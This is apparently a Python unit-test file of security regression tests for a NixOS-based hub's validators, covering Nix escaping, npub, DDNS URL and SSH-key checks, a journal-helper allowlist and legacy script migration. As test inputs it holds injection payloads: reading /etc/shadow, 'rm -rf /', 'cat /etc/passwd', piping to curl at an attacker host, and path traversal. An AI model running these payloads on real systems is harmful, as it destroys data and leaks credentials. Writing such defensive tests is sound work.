1016 lines
39 KiB
Python
1016 lines
39 KiB
Python
"""Security regression tests for Sovran Hub security helpers.
|
|
|
|
Tests exercise the exact production implementations — no helpers are
|
|
redefined or simulated here. Every test calls the deployed code.
|
|
|
|
Tests must never:
|
|
- reboot, rebuild, or alter real SSH keys
|
|
- access the network
|
|
- write to system paths
|
|
"""
|
|
|
|
import base64
|
|
import json
|
|
import os
|
|
import sys
|
|
import tempfile
|
|
import time
|
|
import unittest
|
|
|
|
# Add the app package to the path so we can import without the full FastAPI tree.
|
|
_REPO_ROOT = os.path.normpath(os.path.join(os.path.dirname(__file__), ".."))
|
|
_APP_PARENT = os.path.join(_REPO_ROOT, "app")
|
|
if _APP_PARENT not in sys.path:
|
|
sys.path.insert(0, _APP_PARENT)
|
|
|
|
from sovran_systemsos_web.security_helpers import ( # noqa: E402
|
|
_nix_escape,
|
|
NPUB_RE,
|
|
_validate_npub,
|
|
_validate_ddns_url,
|
|
_validate_ssh_pubkey,
|
|
_DDNS_ALLOWED_HOSTNAMES,
|
|
_bech32_decode,
|
|
load_session_store,
|
|
save_session_store,
|
|
)
|
|
from sovran_systemsos_web import support_ops # noqa: E402
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Nix string escaping
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestNixEscape(unittest.TestCase):
|
|
"""_nix_escape must prevent injection into Nix string literals."""
|
|
|
|
def test_double_quotes_escaped(self):
|
|
self.assertEqual(_nix_escape('"hello"'), '\\"hello\\"')
|
|
|
|
def test_backslash_escaped(self):
|
|
self.assertEqual(_nix_escape("a\\b"), "a\\\\b")
|
|
|
|
def test_nix_interpolation_escaped(self):
|
|
self.assertEqual(_nix_escape("${evil}"), "\\${evil}")
|
|
|
|
def test_newline_escaped(self):
|
|
self.assertEqual(_nix_escape("a\nb"), "a\\nb")
|
|
|
|
def test_carriage_return_escaped(self):
|
|
self.assertEqual(_nix_escape("a\rb"), "a\\rb")
|
|
|
|
def test_tab_escaped(self):
|
|
self.assertEqual(_nix_escape("a\tb"), "a\\tb")
|
|
|
|
def test_semicolons_unchanged(self):
|
|
self.assertEqual(_nix_escape("a;b"), "a;b")
|
|
|
|
def test_valid_timezone(self):
|
|
self.assertEqual(_nix_escape("America/New_York"), "America/New_York")
|
|
|
|
def test_injection_payload_quotes_and_interpolation(self):
|
|
payload = '"; import <nixpkgs/nixos/tests/keymap.nix> { ${builtins.readFile "/etc/shadow"} }'
|
|
result = _nix_escape(payload)
|
|
import re as _re
|
|
self.assertIsNone(_re.search(r'(?<!\\)\$\{', result))
|
|
|
|
def test_npub_injection(self):
|
|
payload = 'npub1aaa"; extraUsers.evil.isNormalUser = true; #'
|
|
result = _nix_escape(payload)
|
|
self.assertNotIn('"', result.replace('\\"', ""))
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Nostr npub validation — regex pre-filter
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestNpubValidationRegex(unittest.TestCase):
|
|
"""NPUB_RE must enforce the npub1 + 58 lowercase bech32 shape."""
|
|
|
|
# 58 bech32 chars after "npub1"
|
|
VALID_SHAPE = "npub1" + "q" * 58
|
|
|
|
def test_valid_shape_accepted(self):
|
|
self.assertIsNotNone(NPUB_RE.fullmatch(self.VALID_SHAPE))
|
|
|
|
def test_wrong_prefix_rejected(self):
|
|
self.assertIsNone(NPUB_RE.fullmatch("nsec1" + "q" * 58))
|
|
|
|
def test_too_short_rejected(self):
|
|
self.assertIsNone(NPUB_RE.fullmatch("npub1" + "q" * 57))
|
|
|
|
def test_too_long_rejected(self):
|
|
self.assertIsNone(NPUB_RE.fullmatch("npub1" + "q" * 59))
|
|
|
|
def test_uppercase_rejected(self):
|
|
self.assertIsNone(NPUB_RE.fullmatch("NPUB1" + "q" * 58))
|
|
|
|
def test_injection_quote_rejected(self):
|
|
self.assertIsNone(NPUB_RE.fullmatch('npub1aaa"; extraUsers.evil.isNormalUser = true; #'))
|
|
|
|
def test_injection_interpolation_rejected(self):
|
|
self.assertIsNone(NPUB_RE.fullmatch("npub1" + "${" + "q" * 52))
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Nostr npub validation — full bech32
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestNpubBech32Validation(unittest.TestCase):
|
|
"""_validate_npub must verify the full bech32 checksum and payload length."""
|
|
|
|
BECH32_CHARSET = "qpzry9x8gf2tvdw0s3jn54khce6mua7l"
|
|
|
|
def _make_npub(self, payload_bytes: bytes) -> str | None:
|
|
"""Build a syntactically valid npub from raw 32-byte payload."""
|
|
from sovran_systemsos_web.security_helpers import (
|
|
_bech32_hrp_expand,
|
|
_bech32_polymod,
|
|
_bech32_create_checksum,
|
|
)
|
|
|
|
def _convertbits(data, frombits, tobits, pad=True):
|
|
acc, bits, ret, maxv = 0, 0, [], (1 << tobits) - 1
|
|
for value in data:
|
|
acc = ((acc << frombits) | value)
|
|
bits += frombits
|
|
while bits >= tobits:
|
|
bits -= tobits
|
|
ret.append((acc >> bits) & maxv)
|
|
if pad and bits:
|
|
ret.append((acc << (tobits - bits)) & maxv)
|
|
return ret
|
|
|
|
hrp = "npub"
|
|
data5 = _convertbits(list(payload_bytes), 8, 5)
|
|
checksum = _bech32_create_checksum(hrp, data5)
|
|
full = data5 + checksum
|
|
return hrp + "1" + "".join(self.BECH32_CHARSET[d] for d in full)
|
|
|
|
def test_valid_npub_passes_bech32(self):
|
|
npub = self._make_npub(bytes(32))
|
|
self.assertIsNotNone(npub)
|
|
self.assertTrue(_validate_npub(npub))
|
|
|
|
def test_bech32_decode_returns_32_bytes(self):
|
|
npub = self._make_npub(b'\x01' * 32)
|
|
result = _bech32_decode(npub)
|
|
self.assertIsNotNone(result)
|
|
hrp, payload = result
|
|
self.assertEqual(hrp, "npub")
|
|
self.assertEqual(len(payload), 32)
|
|
|
|
def test_corrupted_checksum_rejected(self):
|
|
npub = self._make_npub(bytes(32))
|
|
# Flip last character in the data part
|
|
corrupted = npub[:-1] + ("q" if npub[-1] != "q" else "p")
|
|
self.assertFalse(_validate_npub(corrupted))
|
|
|
|
def test_mixed_case_rejected(self):
|
|
npub = self._make_npub(bytes(32))
|
|
mixed = npub[:10].upper() + npub[10:]
|
|
self.assertFalse(_validate_npub(mixed))
|
|
|
|
def test_wrong_hrp_rejected(self):
|
|
self.assertFalse(_validate_npub("nsec1" + "q" * 58))
|
|
|
|
def test_synthetic_all_q_rejected_by_checksum(self):
|
|
self.assertFalse(_validate_npub("npub1" + "q" * 58))
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# DDNS URL validation
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestDdnsUrlValidation(unittest.TestCase):
|
|
"""_validate_ddns_url must enforce all security constraints."""
|
|
|
|
# VALID_URL has no ${IP}: callers must substitute before validation.
|
|
VALID_URL = "https://njal.la/update/?h=test.example.com&k=TOKEN&a=1.2.3.4"
|
|
|
|
def test_valid_njalla_url_accepted(self):
|
|
self.assertEqual(_validate_ddns_url(self.VALID_URL), self.VALID_URL)
|
|
|
|
def test_www_njalla_accepted(self):
|
|
url = "https://www.njal.la/update/?h=test&k=TOKEN"
|
|
self.assertEqual(_validate_ddns_url(url), url)
|
|
|
|
def test_http_scheme_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("http://njal.la/update/?k=TOKEN")
|
|
|
|
def test_ftp_scheme_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("ftp://njal.la/update/?k=TOKEN")
|
|
|
|
def test_credentials_in_url_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("******njal.la/update/?k=TOKEN")
|
|
|
|
def test_fragment_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("https://njal.la/update/?k=TOKEN#frag")
|
|
|
|
def test_raw_ip_host_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("https://1.2.3.4/update/?k=TOKEN")
|
|
|
|
def test_non_standard_port_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("https://njal.la:8443/update/?k=TOKEN")
|
|
|
|
def test_control_character_newline_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("https://njal.la/update/?k=TOKEN\n")
|
|
|
|
def test_control_character_null_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("https://njal.la/update/?k=\x00TOKEN")
|
|
|
|
def test_percent_encoded_null_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("https://njal.la/update/?k=TOKEN%00")
|
|
|
|
def test_localhost_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("https://localhost/update/?k=TOKEN")
|
|
|
|
def test_127_0_0_1_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("https://127.0.0.1/update/?k=TOKEN")
|
|
|
|
def test_arbitrary_public_hostname_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("https://example.com/update/?k=TOKEN")
|
|
|
|
def test_attacker_host_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("https://attacker.njal.la/update/?k=TOKEN")
|
|
|
|
def test_metadata_endpoint_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("https://169.254.169.254/update/?k=TOKEN")
|
|
|
|
def test_empty_url_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("")
|
|
|
|
def test_too_long_rejected(self):
|
|
long_url = "https://njal.la/update/?" + "k=" + "x" * 3000
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url(long_url)
|
|
|
|
def test_allowed_hostnames_set(self):
|
|
self.assertIn("njal.la", _DDNS_ALLOWED_HOSTNAMES)
|
|
self.assertIn("www.njal.la", _DDNS_ALLOWED_HOSTNAMES)
|
|
self.assertNotIn("attacker.njal.la", _DDNS_ALLOWED_HOSTNAMES)
|
|
self.assertNotIn("localhost", _DDNS_ALLOWED_HOSTNAMES)
|
|
|
|
def test_dollar_expression_rejected(self):
|
|
"""$ in a validated URL is rejected; callers must substitute ${IP} first."""
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("https://njal.la/update/?h=test&k=TOKEN&a=${IP}")
|
|
|
|
def test_wrong_path_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ddns_url("https://njal.la/api/?k=TOKEN")
|
|
|
|
def test_exact_update_path_accepted(self):
|
|
url = "https://njal.la/update/?h=host.example.com&k=TOKEN"
|
|
self.assertEqual(_validate_ddns_url(url), url)
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# SSH public-key validation
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestSshPubkeyValidation(unittest.TestCase):
|
|
"""_validate_ssh_pubkey must accept only valid single-line OpenSSH public keys."""
|
|
|
|
VALID_ED25519 = (
|
|
"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOMqqnkVzrm0SdG6UOoqKLsabgH5C9okWi0dh2l9GKJl user@host"
|
|
)
|
|
|
|
def test_valid_ed25519_accepted(self):
|
|
result = _validate_ssh_pubkey(self.VALID_ED25519)
|
|
self.assertEqual(result, self.VALID_ED25519)
|
|
|
|
def test_unsupported_algorithm_rsa_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ssh_pubkey("ssh-rsa AAAAB3NzaC1yc2EAAAA user@host")
|
|
|
|
def test_dss_algorithm_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ssh_pubkey("ssh-dss AAAAB3NzaC1kc3MAAA user@host")
|
|
|
|
def test_multiline_injection_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ssh_pubkey(self.VALID_ED25519 + "\necho pwned")
|
|
|
|
def test_options_prefix_not_accepted(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ssh_pubkey('command="ls" ' + self.VALID_ED25519)
|
|
|
|
def test_empty_key_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ssh_pubkey("")
|
|
|
|
def test_control_character_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ssh_pubkey("ssh-ed25519 AAAA\x00 user@host")
|
|
|
|
def test_malformed_base64_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ssh_pubkey("ssh-ed25519 not-valid-base64!!! user@host")
|
|
|
|
def test_too_short_payload_rejected(self):
|
|
short_b64 = base64.b64encode(b"\x00" * 10).decode()
|
|
with self.assertRaises(ValueError):
|
|
_validate_ssh_pubkey(f"ssh-ed25519 {short_b64} user@host")
|
|
|
|
def test_missing_key_body_rejected(self):
|
|
with self.assertRaises(ValueError):
|
|
_validate_ssh_pubkey("ssh-ed25519")
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Auth-exempt paths
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestAuthExemptPaths(unittest.TestCase):
|
|
"""/api/reboot and status endpoints must not be in the auth-exempt set."""
|
|
|
|
def _get_exempt_paths(self):
|
|
import re
|
|
src = open(
|
|
os.path.join(_REPO_ROOT, "app", "sovran_systemsos_web", "server.py")
|
|
).read()
|
|
m = re.search(r"_AUTH_EXEMPT_PATHS\s*=\s*\{([^}]*)\}", src)
|
|
self.assertIsNotNone(m, "_AUTH_EXEMPT_PATHS not found in server.py")
|
|
return {p.strip().strip('"') for p in m.group(1).split(",") if p.strip().strip('"')}
|
|
|
|
def test_reboot_not_exempt(self):
|
|
self.assertNotIn("/api/reboot", self._get_exempt_paths())
|
|
|
|
def test_updates_status_not_exempt(self):
|
|
self.assertNotIn("/api/updates/status", self._get_exempt_paths())
|
|
|
|
def test_rebuild_status_not_exempt(self):
|
|
self.assertNotIn("/api/rebuild/status", self._get_exempt_paths())
|
|
|
|
def test_login_still_exempt(self):
|
|
self.assertIn("/api/login", self._get_exempt_paths())
|
|
|
|
def test_ping_still_exempt(self):
|
|
self.assertIn("/api/ping", self._get_exempt_paths())
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Persistent session store
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestSessionStore(unittest.TestCase):
|
|
"""Sessions must persist across Hub restarts so rebuild/update polling
|
|
keeps working after nixos-rebuild switch restarts the Hub service."""
|
|
|
|
def _store_path(self, tmpdir, name="hub-sessions.json"):
|
|
return os.path.join(tmpdir, name)
|
|
|
|
def test_roundtrip(self):
|
|
with tempfile.TemporaryDirectory() as tmpdir:
|
|
path = self._store_path(tmpdir)
|
|
future = time.time() + 3600
|
|
sessions = {"token-a": future, "token-b": future + 10}
|
|
self.assertTrue(save_session_store(path, sessions))
|
|
self.assertEqual(load_session_store(path), sessions)
|
|
|
|
def test_missing_file_returns_empty(self):
|
|
with tempfile.TemporaryDirectory() as tmpdir:
|
|
self.assertEqual(load_session_store(self._store_path(tmpdir)), {})
|
|
|
|
def test_malformed_json_returns_empty(self):
|
|
with tempfile.TemporaryDirectory() as tmpdir:
|
|
path = self._store_path(tmpdir)
|
|
with open(path, "w") as f:
|
|
f.write("{not json")
|
|
self.assertEqual(load_session_store(path), {})
|
|
|
|
def test_non_dict_json_returns_empty(self):
|
|
with tempfile.TemporaryDirectory() as tmpdir:
|
|
path = self._store_path(tmpdir)
|
|
with open(path, "w") as f:
|
|
json.dump(["token"], f)
|
|
self.assertEqual(load_session_store(path), {})
|
|
|
|
def test_expired_sessions_discarded(self):
|
|
with tempfile.TemporaryDirectory() as tmpdir:
|
|
path = self._store_path(tmpdir)
|
|
now = time.time()
|
|
save_session_store(path, {"alive": now + 3600, "dead": now - 1})
|
|
loaded = load_session_store(path)
|
|
self.assertIn("alive", loaded)
|
|
self.assertNotIn("dead", loaded)
|
|
|
|
def test_invalid_entries_skipped(self):
|
|
with tempfile.TemporaryDirectory() as tmpdir:
|
|
path = self._store_path(tmpdir)
|
|
now = time.time()
|
|
with open(path, "w") as f:
|
|
json.dump({
|
|
"good": now + 3600,
|
|
"": now + 3600, # empty token
|
|
"bool-expiry": True, # bool is not a valid expiry
|
|
"str-expiry": "soon", # non-numeric expiry
|
|
"none-expiry": None,
|
|
}, f)
|
|
loaded = load_session_store(path)
|
|
self.assertEqual(list(loaded.keys()), ["good"])
|
|
|
|
def test_file_mode_is_0600(self):
|
|
with tempfile.TemporaryDirectory() as tmpdir:
|
|
path = self._store_path(tmpdir)
|
|
save_session_store(path, {"token": time.time() + 60})
|
|
mode = os.stat(path).st_mode & 0o777
|
|
self.assertEqual(mode, 0o600)
|
|
|
|
def test_save_overwrites_existing_store(self):
|
|
with tempfile.TemporaryDirectory() as tmpdir:
|
|
path = self._store_path(tmpdir)
|
|
future = time.time() + 3600
|
|
save_session_store(path, {"old": future})
|
|
save_session_store(path, {"new": future})
|
|
self.assertEqual(load_session_store(path), {"new": future})
|
|
|
|
def test_empty_store_roundtrip(self):
|
|
with tempfile.TemporaryDirectory() as tmpdir:
|
|
path = self._store_path(tmpdir)
|
|
self.assertTrue(save_session_store(path, {}))
|
|
self.assertEqual(load_session_store(path), {})
|
|
|
|
def test_no_leftover_temp_files(self):
|
|
with tempfile.TemporaryDirectory() as tmpdir:
|
|
path = self._store_path(tmpdir)
|
|
save_session_store(path, {"token": time.time() + 60})
|
|
leftovers = [n for n in os.listdir(tmpdir) if n.startswith(".hub_sessions_tmp")]
|
|
self.assertEqual(leftovers, [])
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# tech-support.nix validation
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestTechSupportSudoRules(unittest.TestCase):
|
|
"""tech-support.nix must not grant broad privileges."""
|
|
|
|
def _get_nix_content(self):
|
|
path = os.path.join(_REPO_ROOT, "modules", "core", "tech-support.nix")
|
|
with open(path) as f:
|
|
return f.read()
|
|
|
|
def test_no_nano_custom_nix(self):
|
|
self.assertNotIn("nano /etc/nixos/custom.nix", self._get_nix_content())
|
|
|
|
def test_no_nano_configuration_nix(self):
|
|
self.assertNotIn("nano /etc/nixos/configuration.nix", self._get_nix_content())
|
|
|
|
def test_no_unrestricted_nixos_rebuild(self):
|
|
self.assertNotIn("nixos-rebuild switch", self._get_nix_content())
|
|
|
|
def test_no_wildcard_systemctl_restart(self):
|
|
self.assertNotIn("systemctl restart *", self._get_nix_content())
|
|
|
|
def test_journalctl_wildcard_removed(self):
|
|
"""The bare 'journalctl *' sudo rule must be gone."""
|
|
content = self._get_nix_content()
|
|
self.assertNotIn('"/run/current-system/sw/bin/journalctl *"', content)
|
|
self.assertNotIn("journalctl *", content.replace("journal-helper", ""))
|
|
|
|
def test_journal_helper_referenced(self):
|
|
"""The restricted journal helper must be referenced instead."""
|
|
content = self._get_nix_content()
|
|
self.assertIn("sovran-journal-helper", content)
|
|
|
|
def test_sovran_hub_web_service_referenced(self):
|
|
"""tech-support.nix must reference sovran-hub-web.service, not the nonexistent sovran-hub.service."""
|
|
content = self._get_nix_content()
|
|
self.assertIn("sovran-hub-web.service", content)
|
|
self.assertNotIn('"sovran-hub.service"', content)
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Journal helper — unit allowlist validation
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestJournalHelper(unittest.TestCase):
|
|
"""The restricted journal helper must enforce the explicit unit allowlist."""
|
|
|
|
def _run_helper(self, args):
|
|
"""Run the helper script and return (returncode, stderr)."""
|
|
import subprocess
|
|
helper = os.path.join(_REPO_ROOT, "modules", "core", "sovran-journal-helper.py")
|
|
result = subprocess.run(
|
|
[sys.executable, helper] + args,
|
|
capture_output=True, text=True,
|
|
)
|
|
return result.returncode, result.stderr
|
|
|
|
# ── Allowlisted units ──
|
|
def test_sovran_hub_web_accepted(self):
|
|
rc, stderr = self._run_helper(["--unit", "sovran-hub-web.service"])
|
|
self.assertNotIn("rejected", stderr)
|
|
|
|
def test_caddy_accepted(self):
|
|
rc, stderr = self._run_helper(["--unit", "caddy.service"])
|
|
self.assertNotIn("rejected", stderr)
|
|
|
|
def test_bitcoind_accepted(self):
|
|
rc, stderr = self._run_helper(["--unit", "bitcoind.service"])
|
|
self.assertNotIn("rejected", stderr)
|
|
|
|
def test_lnd_accepted(self):
|
|
rc, stderr = self._run_helper(["--unit", "lnd.service"])
|
|
self.assertNotIn("rejected", stderr)
|
|
|
|
# ── Rejected units ──
|
|
def test_unapproved_service_rejected(self):
|
|
rc, stderr = self._run_helper(["--unit", "sshd.service"])
|
|
self.assertNotEqual(rc, 0)
|
|
self.assertIn("rejected", stderr)
|
|
|
|
def test_old_sovran_hub_service_rejected(self):
|
|
"""The old nonexistent sovran-hub.service must now be rejected."""
|
|
rc, stderr = self._run_helper(["--unit", "sovran-hub.service"])
|
|
self.assertNotEqual(rc, 0)
|
|
self.assertIn("rejected", stderr)
|
|
|
|
def test_directory_flag_rejected(self):
|
|
rc, stderr = self._run_helper(["--directory", "/var/log"])
|
|
self.assertNotEqual(rc, 0)
|
|
self.assertIn("rejected", stderr)
|
|
|
|
def test_arbitrary_path_rejected(self):
|
|
rc, stderr = self._run_helper(["/etc/passwd"])
|
|
self.assertNotEqual(rc, 0)
|
|
self.assertIn("rejected", stderr)
|
|
|
|
def test_file_flag_rejected(self):
|
|
rc, stderr = self._run_helper(["--file", "/var/log/journal/foo"])
|
|
self.assertNotEqual(rc, 0)
|
|
self.assertIn("rejected", stderr)
|
|
|
|
def test_no_args_rejected(self):
|
|
"""Whole-journal queries (no --unit) must be rejected."""
|
|
rc, stderr = self._run_helper([])
|
|
self.assertNotEqual(rc, 0)
|
|
# Should mention --unit requirement
|
|
self.assertIn("unit", stderr.lower())
|
|
|
|
def test_lines_only_no_unit_rejected(self):
|
|
"""--lines without --unit is a whole-journal query and must be rejected."""
|
|
rc, stderr = self._run_helper(["--lines", "50"])
|
|
self.assertNotEqual(rc, 0)
|
|
|
|
def test_lines_flag_accepted(self):
|
|
rc, stderr = self._run_helper(["--unit", "caddy.service", "--lines", "50"])
|
|
self.assertNotIn("rejected", stderr)
|
|
|
|
def test_lines_too_large_rejected(self):
|
|
rc, stderr = self._run_helper(["--lines", "99999"])
|
|
self.assertNotEqual(rc, 0)
|
|
self.assertIn("rejected", stderr)
|
|
|
|
def test_negative_lines_rejected(self):
|
|
rc, stderr = self._run_helper(["--lines", "-1"])
|
|
self.assertNotEqual(rc, 0)
|
|
|
|
def test_since_with_valid_date_accepted(self):
|
|
rc, stderr = self._run_helper(["--unit", "caddy.service", "--since", "2024-01-01"])
|
|
self.assertNotIn("rejected", stderr)
|
|
|
|
def test_since_with_path_rejected(self):
|
|
rc, stderr = self._run_helper(["--since", "/etc/passwd"])
|
|
self.assertNotEqual(rc, 0)
|
|
self.assertIn("rejected", stderr)
|
|
|
|
def test_output_short_accepted(self):
|
|
rc, stderr = self._run_helper(["--unit", "caddy.service", "--output", "short"])
|
|
self.assertNotIn("rejected", stderr)
|
|
|
|
def test_output_arbitrary_rejected(self):
|
|
rc, stderr = self._run_helper(["--output", "export --to /tmp/out"])
|
|
self.assertNotEqual(rc, 0)
|
|
self.assertIn("rejected", stderr)
|
|
|
|
def test_invalid_unit_name_rejected(self):
|
|
rc, stderr = self._run_helper(["--unit", "../../../etc/passwd"])
|
|
self.assertNotEqual(rc, 0)
|
|
self.assertIn("rejected", stderr)
|
|
|
|
def test_unit_without_suffix_rejected(self):
|
|
rc, stderr = self._run_helper(["--unit", "caddy"])
|
|
self.assertNotEqual(rc, 0)
|
|
self.assertIn("rejected", stderr)
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Legacy Njalla migration — production-backed tests
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestNjallaLegacyMigration(unittest.TestCase):
|
|
"""migrate_legacy_njalla_script must not execute or preserve malicious content.
|
|
|
|
All tests call the exact production implementation from support_ops with
|
|
temporary files; no logic is duplicated here.
|
|
"""
|
|
|
|
def _run_migration(self, script_content: str) -> tuple[list[str], bool]:
|
|
"""Run the production migration against temp files, return (urls, script_archived)."""
|
|
captured_urls: list[str] = []
|
|
saved = [False]
|
|
|
|
def _load():
|
|
return []
|
|
|
|
def _save(urls):
|
|
captured_urls.extend(urls)
|
|
saved[0] = True
|
|
|
|
with tempfile.TemporaryDirectory() as tmpdir:
|
|
script_path = os.path.join(tmpdir, "njalla.sh")
|
|
with open(script_path, "w") as f:
|
|
f.write(script_content)
|
|
os.chmod(script_path, 0o755)
|
|
|
|
support_ops.migrate_legacy_njalla_script(
|
|
script_path,
|
|
_validate_ddns_url,
|
|
_save,
|
|
_load,
|
|
)
|
|
|
|
archived = oct(os.stat(script_path).st_mode)[-3:] == "000"
|
|
return captured_urls, archived
|
|
|
|
def test_valid_unquoted_curl_line_extracted(self):
|
|
script = (
|
|
"#!/usr/bin/env bash\n"
|
|
"IP=$(dig @resolver4.opendns.com myip.opendns.com +short -4)\n"
|
|
"curl --silent https://njal.la/update/?h=test.example.com&k=TOKEN&a=${IP}\n"
|
|
)
|
|
urls, archived = self._run_migration(script)
|
|
self.assertEqual(len(urls), 1)
|
|
self.assertIn("njal.la", urls[0])
|
|
self.assertTrue(archived, "script should be archived after successful migration")
|
|
|
|
def test_valid_quoted_curl_line_extracted(self):
|
|
"""Historical quoted form: curl \"https://njal.la/...\" must be parsed."""
|
|
script = (
|
|
"#!/usr/bin/env bash\n"
|
|
'curl "https://njal.la/update/?h=test.example.com&k=TOKEN&a=${IP}"\n'
|
|
)
|
|
urls, archived = self._run_migration(script)
|
|
self.assertEqual(len(urls), 1, "quoted URL must be extracted")
|
|
self.assertIn("njal.la", urls[0])
|
|
|
|
def test_command_injection_not_extracted(self):
|
|
script = "curl https://njal.la/update/?k=TOKEN; rm -rf /\n"
|
|
urls, _ = self._run_migration(script)
|
|
self.assertEqual(urls, [])
|
|
|
|
def test_backtick_injection_not_extracted(self):
|
|
script = "curl https://njal.la/update/?k=`cat /etc/passwd`\n"
|
|
urls, _ = self._run_migration(script)
|
|
self.assertEqual(urls, [])
|
|
|
|
def test_pipe_injection_not_extracted(self):
|
|
script = "curl https://njal.la/update/?k=TOKEN | curl https://attacker.com\n"
|
|
urls, _ = self._run_migration(script)
|
|
self.assertEqual(urls, [])
|
|
|
|
def test_dollar_injection_not_extracted(self):
|
|
script = "curl https://njal.la/update/?k=$(evil_command)\n"
|
|
urls, _ = self._run_migration(script)
|
|
self.assertEqual(urls, [])
|
|
|
|
def test_non_njalla_url_not_extracted(self):
|
|
script = "curl https://attacker.example.com/update/?k=TOKEN\n"
|
|
urls, _ = self._run_migration(script)
|
|
self.assertEqual(urls, [])
|
|
|
|
def test_http_url_not_extracted(self):
|
|
script = "curl http://njal.la/update/?k=TOKEN\n"
|
|
urls, _ = self._run_migration(script)
|
|
self.assertEqual(urls, [])
|
|
|
|
def test_semicolons_in_url_not_extracted(self):
|
|
script = "curl https://njal.la/update/?k=TOKEN;echo evil\n"
|
|
urls, _ = self._run_migration(script)
|
|
self.assertEqual(urls, [])
|
|
|
|
def test_newline_injection_not_extracted(self):
|
|
script = 'curl "https://njal.la/update/?k=TOKEN\necho evil"\n'
|
|
urls, _ = self._run_migration(script)
|
|
self.assertEqual(urls, [])
|
|
|
|
def test_malformed_quotes_not_extracted(self):
|
|
"""Half-open quote must not match."""
|
|
script = 'curl "https://njal.la/update/?k=TOKEN\n'
|
|
urls, _ = self._run_migration(script)
|
|
self.assertEqual(urls, [])
|
|
|
|
def test_failed_persistence_leaves_script_untouched(self):
|
|
"""If save_fn raises, the script must NOT be archived."""
|
|
def _fail_save(urls):
|
|
raise OSError("disk full")
|
|
|
|
with tempfile.TemporaryDirectory() as tmpdir:
|
|
script_path = os.path.join(tmpdir, "njalla.sh")
|
|
script_content = (
|
|
"#!/usr/bin/env bash\n"
|
|
"curl https://njal.la/update/?h=test&k=TOKEN\n"
|
|
)
|
|
with open(script_path, "w") as f:
|
|
f.write(script_content)
|
|
os.chmod(script_path, 0o755)
|
|
|
|
support_ops.migrate_legacy_njalla_script(
|
|
script_path,
|
|
_validate_ddns_url,
|
|
_fail_save,
|
|
lambda: [],
|
|
)
|
|
|
|
# Script must still be executable (not archived)
|
|
mode = oct(os.stat(script_path).st_mode)[-3:]
|
|
self.assertNotEqual(mode, "000", "script must not be archived when persistence fails")
|
|
|
|
|
|
# ---------------------------------------------------------------------------
|
|
# Legacy root key removal — production-backed tests
|
|
# ---------------------------------------------------------------------------
|
|
|
|
class TestLegacyRootKeyRemoval(unittest.TestCase):
|
|
"""remove_legacy_root_key must remove only the exact historical key blob.
|
|
|
|
All tests call the exact production implementation from support_ops with
|
|
temporary files; no simulation is used.
|
|
"""
|
|
|
|
TARGET_BLOB = support_ops.LEGACY_ROOT_KEY_BLOB
|
|
|
|
def _do_removal(self, file_content: str) -> tuple[bool, str]:
|
|
"""Run production key removal, return (changed, result_content)."""
|
|
with tempfile.TemporaryDirectory() as tmpdir:
|
|
auth_keys = os.path.join(tmpdir, "authorized_keys")
|
|
with open(auth_keys, "w") as f:
|
|
f.write(file_content)
|
|
changed = support_ops.remove_legacy_root_key(auth_keys, self.TARGET_BLOB)
|
|
with open(auth_keys) as f:
|
|
result = f.read()
|
|
return changed, result
|
|
|
|
def test_exact_historical_key_removed(self):
|
|
"""The exact historical key must be removed regardless of comment."""
|
|
lines = (
|
|
"ssh-ed25519 AAAA admin@host\n"
|
|
f"ssh-ed25519 {self.TARGET_BLOB} free@nixos\n"
|
|
"ssh-ed25519 CCCC another@host\n"
|
|
)
|
|
changed, result = self._do_removal(lines)
|
|
self.assertTrue(changed)
|
|
self.assertNotIn(self.TARGET_BLOB, result)
|
|
self.assertIn("admin@host", result)
|
|
